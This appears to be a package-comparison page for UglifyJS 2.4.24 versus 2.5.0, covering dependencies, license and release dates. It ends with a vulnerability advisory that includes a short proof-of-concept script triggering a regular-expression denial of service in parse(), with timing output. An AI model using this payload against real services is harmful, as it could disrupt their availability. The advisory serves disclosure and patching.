UglifyJS is a vital JavaScript toolkit used for parsing, mangling, compressing, and beautifying code. Comparing versions 2.5.0 and 2.4.24, several key distinctions emerge that are important for developers. The core functionality remains consistent, focusing on optimizing JavaScript code for production. Both versions share the same core dependencies like async, yargs, and uglify-to-browserify which ensures they can efficiently integrate asynchronous operations, command-line argument parsing, and browserify transformations.
A significant change lies in the source-map dependency; version 2.5.0 upgrades this to ~0.5.1 from version 0.1.34 in 2.4.24. This is crucial for debugging, as source maps allow developers to trace errors in minified code back to the original source. The newer version of source-map likely includes improved accuracy and support for more complex JavaScript features.
The license also transitioned from "BSD" in version 2.4.24 to "BSD-2-Clause" in 2.5.0. This indicates a slight clarification or formalization of the licensing terms. The releaseDate shows that version 2.5.0 was released on October 11, 2015, while 2.4.24 was released on July 22, 2015, indicating a few months of development and potentially bug fixes or enhancements. These subtle changes highlight the ongoing refinement of UglifyJS, ensuring its reliability and suitability for modern JavaScript development workflows. Developers should especially note the upgrade in source-map, which improves debugging capabilities.
All the vulnerabilities related to the version 2.5.0 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.